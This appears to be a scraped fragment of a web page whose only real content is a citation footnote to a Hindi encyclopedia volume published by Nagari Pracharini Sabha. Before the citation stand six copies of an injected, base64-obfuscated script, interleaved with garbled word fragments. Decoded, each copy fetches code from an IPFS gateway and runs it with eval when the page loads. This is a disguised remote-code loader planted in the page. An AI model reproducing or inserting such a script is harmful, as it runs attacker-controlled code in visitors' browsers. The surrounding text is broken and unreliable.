<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 34 |

[1]

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